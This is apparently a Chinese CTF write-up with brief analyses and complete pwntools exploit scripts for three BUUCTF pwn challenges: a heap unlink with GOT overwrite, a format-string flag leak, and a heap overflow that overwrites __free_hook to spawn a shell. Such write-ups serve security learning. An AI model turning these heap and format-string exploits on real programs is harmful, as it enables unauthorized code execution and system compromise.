需要输入一个数,变为负数之后还是负数
这题就涉及计组知识了,neg的操作为按位取反+1,而0x80000000取反加一之后仍然是0x80000000,所以答案为-2147483648
这次可以考虑覆写got表了
在my_read中存在一个强制转换的漏洞
a2为传入的buf长度,类型为有符号数,然后用a2-1与无符号数i进行比较,此时会将有符号数强制转换为无符号数,如果a2为0,减一之后就是0xffffffff,这样就能进行堆溢出
在edit中使用了strcpy或者strncat把堆的内容从缓冲区复制到堆上,所以编辑时如果有’\x00’就会截断
利用过程如下:
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 29136)
#r = process("./zctf2016_note2")
context.log_level = 'debug'
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x401021
x/10gx 0x602120
c
''')
elf = ELF("./zctf2016_note2")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
bss_ptr = 0x602120
atoi_got = elf.got['atoi']
menu = "option--->>\n"
def add(size, content):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Input the length of the note content:(less than 128)\n")
r.sendline(str(size))
r.recvuntil("Input the note content:\n")
r.send(content)
def delete(index):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("Input the id of the note:\n")
r.sendline(str(index))
def show(index):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Input the id of the note:\n")
r.sendline(str(index))
def edit(index, way, content):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("Input the id of the note:\n")
r.sendline(str(index))
r.recvuntil("do you want to overwrite or append?[1.overwrite/2.append]\n")
r.sendline(str(way))
r.recvuntil("TheNewContents:")
r.send(content)
r.recvuntil("Input your name:\n")
r.send('a'*0x40)
r.recvuntil("Input your address:\n")
r.send('b'*0x5f+'\n')
payload = p64(0)+p64(0xa1)+p64(bss_ptr-0x18)+p64(bss_ptr-0x10)+'aaa\n'
add(0x80, payload)
add(0, 'idx1\n')
add(0x80, 'idx2\n')
delete(1)
payload = 'a'*0x10 + p64(0xa0) + p64(0x90)+'\n'
add(0, payload) #4
delete(2)
payload = 'a'*0x18+p64(atoi_got)+'\n'
edit(0, 1, payload)
show(0)
r.recvuntil("Content is ")
atoi_addr = u64(r.recvuntil('\x7f').ljust(8, '\x00'))
libc_base = atoi_addr - libc.symbols['atoi']
system = libc_base + libc.symbols['system']
success("libc_base:"+hex(libc_base))
success("atoi:" + hex(atoi_addr))
success("system:" + hex(system))
edit(0, 1, p64(system)+'\n')
r.recvuntil(menu)
r.sendline('/bin/sh')
r.interactive()
一道考察格式化字符串漏洞的题目
对输出进行了限制,必须要是可见字符,而flag的地址显然不满足要求,那我们只能去栈上找了
在28和32的位置都发现了flag
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 26944)
#r = process("./judgement_mna_2016")
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x080487A2
c
''')
elf = ELF("./judgement_mna_2016")
libc = ELF('./libc/libc-2.23_32.so')
flag = 0x0804A0A0
r.recvuntil("Input flag >> ")
r.sendline("%28$s:%32$s")
r.interactive()
这题代码比较多,所以需要耐心分析
在my_read中,只会把’\n’变为’\x00’,如果输入不含有’\n’就可以泄露信息
其次是在update中,大小为固定故0xff
然而text的大小是可以自行设定的
利用方法如下:
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 25560)
#r = process("./OGeek2019_bookmanager/pwn")
context.log_level = 'debug'
elf = ELF("./OGeek2019_bookmanager/pwn")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
menu = "Your choice:"
def add_chapter(content):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Chapter name:")
r.send(content)
def add_section(chapter, content):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Which chapter do you want to add into:")
r.send(chapter)
r.recvuntil("0x")
addr = int(r.recvuntil('\n').strip(), 16)
r.recvuntil("Section name:")
r.send(content)
return addr
def add_text(section, size, content):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("Which section do you want to add into:")
r.send(section)
r.recvuntil("How many chapters you want to write:") #max:0x100
r.sendline(str(size))
r.recvuntil("Text:")
r.send(content)
def delete_chapter(name):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("Chapter name:")
r.send(name)
def delete_section(name):
r.recvuntil(menu)
r.sendline('5')
r.recvuntil("Section name:")
r.send(name)
def delete_text(name):
r.recvuntil(menu)
r.sendline('6')
r.recvuntil("Section name:")
r.send(name)
def show():
r.recvuntil(menu)
r.sendline('7')
def edit(type, name, content):
r.recvuntil(menu)
r.sendline('8')
r.recvuntil("What to update?(Chapter/Section/Text):")
r.sendline(type)
if type == 'Chapter':
r.recvuntil("Chapter name:")
r.send(name)
r.recvuntil("New Chapter name:")
r.send(content)
elif type == 'Section':
r.recvuntil("Section name:")
r.send(name)
r.recvuntil("New Section name:")
r.send(content)
else:
r.recvuntil("Section name:")
r.send(name)
r.recvuntil("New Text:")
r.send(content)
r.recvuntil("Name of the book you want to create: ")
name = 'a' * 0x1f
r.send(name)
add_chapter('aaaa\n')
add_section('aaaa\n', 'bbbb\n')
add_section('aaaa\n', 'cccc\n')
add_text('bbbb\n', 0x88, '\n')
add_text('cccc\n', 0x88, '\n')
delete_text('bbbb\n')
add_text('bbbb\n', 0x88, '\x78')
show()
r.recvuntil("Section:bbbb\n")
r.recvuntil("Text:")
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
success("malloc_hook:"+hex(malloc_hook))
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
add_section('aaaa\n', 'dddd\n')
edit('Text', 'cccc\n', '/bin/sh'.ljust(0x80, '\x00') + p64(0) + p64(0x41) + 'dddd'.ljust(0x20, '\x00') + p64(free_hook))
edit('Text', 'dddd\n', p64(system))
delete_text('cccc\n')
r.interactive()